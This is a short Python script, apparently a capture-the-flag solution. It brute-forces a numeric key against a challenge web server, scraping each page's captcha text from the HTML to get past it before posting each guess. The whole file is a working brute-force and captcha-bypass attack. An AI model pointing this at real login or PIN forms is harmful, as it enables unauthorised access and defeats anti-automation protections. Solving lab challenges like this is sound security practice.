import requests

def get_captcha(html: str):
    index_detector = 'Captcha: '
    captcha_len = 6
    start = html.find(index_detector) + len(index_detector)
    end = start + captcha_len
    return html[start:end]

if __name__ == '__main__':
    URL = 'http://webchallenge.cybsec.in:8000'
    for key in range(10001):
        print("Testing for key:", key)
        html = requests.get(url=URL).text
        captcha = get_captcha(html)

        data = {'captcha': captcha, 'key': key}
        response = requests.post(url=URL, data=data)
        status_code = response.status_code
        if status_code != 403:
            print('Key found:', response.text)
            break
